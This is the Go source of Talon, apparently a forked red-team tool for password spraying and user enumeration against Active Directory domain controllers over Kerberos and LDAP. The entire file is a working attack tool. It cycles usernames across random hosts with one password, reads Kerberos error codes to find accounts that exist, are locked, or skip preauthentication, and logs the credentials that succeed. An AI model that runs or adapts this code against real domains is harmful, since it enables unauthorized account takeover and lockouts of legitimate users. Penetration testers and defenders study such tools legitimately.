forked from optiv/Talon
/
Talon.go
369 lines (336 loc) · 14 KB
/
Talon.go
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package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"os"
"strings"
"time"
"github.com/fatih/color"
"gopkg.in/jcmturner/gokrb5.v7/client"
"gopkg.in/jcmturner/gokrb5.v7/config"
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
"gopkg.in/ldap.v2"
)
var (
debugging bool
debugWriter io.Writer
)
type Authenticator interface {
Login() (string, string, error)
}
type User struct {
Name string
Password string
Domain string
}
type LDAP struct {
Host string
User
}
type KERB struct {
Host string
User
Enum bool
}
//FlagOptions set at startup
type FlagOptions struct {
host string
hostfile string
OutPut string
user string
userfile string
domain string
pass string
outFile string
sleep float64
enum bool
kerb bool
ldap bool
}
func printDebug(format string, v ...interface{}) {
if debugging {
output := fmt.Sprintf("[DEBUG] ")
output += format
fmt.Fprintf(debugWriter, output, v...)
}
}
func options() *FlagOptions {
host := flag.String("H", "", "Domain controller to connect to")
hostfile := flag.String("Hostfile", "", "File containing the list of domain controllers to connect to")
domain := flag.String("D", "", "Fully qualified domain to use")
user := flag.String("U", "", "Username to authenticate as")
userfile := flag.String("Userfile", "", "File containing the list of usernames")
pass := flag.String("P", "", "Password to use")
outFile := flag.String("O", "", "File to append the results to")
sleep := flag.Float64("sleep", .5, "Time inbetween attempts")
debug := flag.Bool("debug", false, "Print debug statements")
enum := flag.Bool("E", false, "Enumerates which users are valid")
kerb := flag.Bool("K", false, "Test against Kerberos only")
ldap := flag.Bool("L", false, "Test against LDAP only")
flag.Parse()
debugging = *debug
debugWriter = os.Stdout
return &FlagOptions{host: *host, domain: *domain, user: *user, userfile: *userfile, hostfile: *hostfile, pass: *pass, outFile: *outFile, sleep: *sleep, enum: *enum, ldap: *ldap, kerb: *kerb}
}
func readfile(inputFile string) []string {
output, err := ioutil.ReadFile(inputFile)
if err != nil {
log.Fatal(err)
}
return strings.Split(string(output), "\n")
}
func check(e error) {
if e != nil {
panic(e)
}
}
func writefile(outFile, result string) {
cf, err := os.OpenFile(outFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
check(err)
defer cf.Close()
_, err = cf.Write([]byte(result))
check(err)
}
func main() {
opt := options()
var hosts []string
var password string
var usernames []string
var services []string
services = []string{"KERB", "LDAP"}
fmt.Println(`
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
`)
if opt.enum {
services = []string{"KERB"}
password = string(" ")
}
if opt.kerb {
services = []string{"KERB"}
}
if opt.ldap {
services = []string{"LDAP"}
}
if opt.kerb && opt.ldap {
log.Fatal("Error: Please choose one or the other")
}
if opt.enum && opt.ldap {
log.Fatal("Error: Can't use LDAP only option with Enumeration option")
}
if opt.enum && opt.kerb {
log.Fatal("Error: Can't use Kerberos only option with Enumeration option")
}
if opt.host == "" && opt.hostfile == "" {
log.Fatal("Error: Please provide a host or list of hosts")
}
if opt.host != "" {
printDebug("Appending %s\n", opt.host)
hosts = append(hosts, opt.host)
}
if opt.hostfile != "" {
printDebug("Reading host file %s\n", opt.hostfile)
fileHosts := readfile(opt.hostfile)
printDebug("Appending hosts %v\n", fileHosts)
for _, host := range fileHosts {
hosts = append(hosts, host)
}
}
if opt.user == "" && opt.userfile == "" {
log.Fatal("Error: Please provide an username or list of usernames")
}
if opt.pass == "" && opt.enum == false {
log.Fatal("Error: Please provide a password or select the enumeration option")
}
if opt.pass != "" {
printDebug("Appending password %s\n", opt.pass)
password = opt.pass
}
if opt.userfile != "" {
printDebug("Reading user file %s\n", opt.userfile)
fileUsers := readfile(opt.userfile)
printDebug("Appending users %v\n", fileUsers)
for _, user := range fileUsers {
if user != "" {
usernames = append(usernames, user)
}
}
}
if opt.user != "" {
printDebug("Appending user %s\n", opt.user)
usernames = append(usernames, opt.user)
}
sleep := opt.sleep
domain := strings.ToUpper(opt.domain)
printDebug("Domain %v\tUsernames %v\tPasswords %v\tHosts %v\tServices %v\n", domain, usernames, password, hosts, services)
x := 0
rand.Seed(time.Now().Unix())
lenServices := len(services) - 1
for _, username := range usernames {
n := 0
if opt.hostfile != "" {
n = rand.Int() % (len(hosts) - 1)
}
if hosts[n] == "" {
return
}
time.Sleep(time.Duration(sleep) * time.Second)
auth := setup(services[x], hosts[n], domain, username, password, opt.enum)
result, forfile, _ := auth.Login()
fmt.Println(result)
if strings.Contains(result, "User's Account Locked") && opt.enum != true {
reader := bufio.NewReader(os.Stdin)
fmt.Print("[*] Account lock out detected - Do you want to continue.[y/n]: ")
text, _ := reader.ReadString('\n')
if strings.Contains(text, "y") {
continue
}
log.Fatal("Shutting down")
}
if opt.outFile != "" {
forfile = forfile + "\n"
writefile(opt.outFile, forfile)
}
if lenServices == x {
x = 0
} else {
x++
}
}
}
func setup(service, host, domain, username, password string, enum bool) Authenticator {
switch service {
case "KERB":
return KERB{Host: host, User: User{Name: username, Password: password, Domain: domain}, Enum: enum}
case "LDAP":
return LDAP{Host: host, User: User{Name: username, Password: password, Domain: domain}}
}
return nil
}
func (l LDAP) Login() (string, string, error) {
printDebug("Logging into LDAP with %v", l)
conn, err := ldap.DialTLS("tcp", (l.Host + ":636"), &tls.Config{InsecureSkipVerify: true})
if err != nil {
fmt.Println(err)
reader := bufio.NewReader(os.Stdin)
fmt.Print("[*] Do you want to continue.[y/n]: ")
text, _ := reader.ReadString('\n')
if strings.Contains(text, "y") {
return "", "", nil //err
}
log.Fatal("[*] Shutting down")
}
conn.StartTLS(&tls.Config{InsecureSkipVerify: true})
if err != nil {
return "", "", nil
}
defer conn.Close()
if err := conn.Bind(l.User.Name+"@"+l.User.Domain, l.User.Password); err != nil {
printDebug(err.Error() + "\n")
if strings.Contains(err.Error(), "comment: AcceptSecurityContext error, data 775, v3839") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, color.RedString("User's Account Locked"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, ("User's Account Locked"))
return result, forfile, err
} else {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, color.RedString("Failed"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, ("Failed"))
return result, forfile, err
}
}
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, color.GreenString("Success"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, ("Success"))
return result, forfile, err
}
func (k KERB) Login() (string, string, error) {
printDebug("Logging into Kerberos with %v", k)
cfg, err := config.NewConfigFromString("[libdefaults]\n default_realm = ${REALM}\n dns_lookup_realm = false\n dns_lookup_kdc = true\n [realms]\n " + k.User.Domain + " = {\n kdc =" + k.Host + ":88\n }\n")
if k.Enum == true {
cfg.LibDefaults.PreferredPreauthTypes = []int{int(etypeID.DES3_CBC_SHA1_KD)}
}
if err != nil {
panic(err.Error())
}
cl := client.NewClientWithPassword(k.User.Name, k.User.Domain, k.User.Password, cfg, client.DisablePAFXFAST(true), client.AssumePreAuthentication(true))
err = cl.Login()
if err != nil {
printDebug(err.Error() + "\n")
if strings.Contains(err.Error(), "AS_REQ to KDC: failed to communicate with KDC") {
fmt.Println("[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC " + k.Host)
reader := bufio.NewReader(os.Stdin)
fmt.Print("[*] Do you want to continue.[y/n]: ")
text, _ := reader.ReadString('\n')
if strings.Contains(text, "y") {
return "", "", nil //err
}
log.Fatal("[*] Shutting down")
}
if k.Enum == true {
if strings.Contains(err.Error(), "(37) KRB_AP_ERR_SKEW Clock skew") {
fmt.Println(color.RedString("[-] ") + "The difference between the time on the Kerberos and you is too great to continue")
log.Fatal("[*] Shutting down")
}
if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("User's Account Locked"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User's Account Locked"))
return result, forfile, err
}
if strings.Contains(err.Error(), "KDC_ERR_C_PRINCIPAL_UNKNOWN") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("User Does Not Exist"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Does Not Exist"))
return result, forfile, err
}
if strings.Contains(err.Error(), "KDC_ERR_PREAUTH_FAILED") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist"))
return result, forfile, err
}
if strings.Contains(err.Error(), "AS Exchange Error: AS_REP is not valid or client password/keytab incorrect < Decrypting_Error: error decrypting EncPart of AS_REP < Decrypting_Error: error decrypting AS_REP encrypted part: error decrypting: integrity verification failed") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist - But Does Not Require Preauth"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist - But Does Not Require Preauth"))
return result, forfile, err
}
if strings.Contains(err.Error(), "AS Exchange Error: kerberos error response from KDC: KRB Error: (12) KDC_ERR_POLICY KDC policy rejects request") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist - But Smartcard is Required"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist - But Smartcard is Required"))
return result, forfile, err
}
if strings.Contains(err.Error(), "AS Exchange Error: kerberos error response from KDC: KRB Error: (14) KDC_ERR_ETYPE_NOSUPP KDC has no support for encryption type") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist"))
return result, forfile, err
}
if strings.Contains(err.Error(), "KRBMessage_Handling_Error: AS Exchange Error: AS_REP is not valid or client password/keytab incorrect < Decrypting_Error: error decrypting EncPart of AS_REP < Decrypting_Error: error decrypting AS_REP encrypted part: error decrypting: integrity checksum incorrect") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist - But Only Allows Kerberos DES Encrpytion and Does Not Require Preauth"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist - But Only Allows Kerberos DES Encrpytion and Does Not Require Preauth"))
return result, forfile, err
}
}
if strings.Contains(err.Error(), "(37) KRB_AP_ERR_SKEW") {
fmt.Println(color.RedString("[-] ") + "The difference between the time on the Kerberos and you is too great to continue")
log.Fatal("[*] Shutting down")
} else if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("User's Account Locked"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User's Account Locked"))
return result, forfile, err
} else {
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("Failed"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("Failed"))
return result, forfile, err
}
}
result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("Success"))
forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("Success"))
return result, forfile, nil
}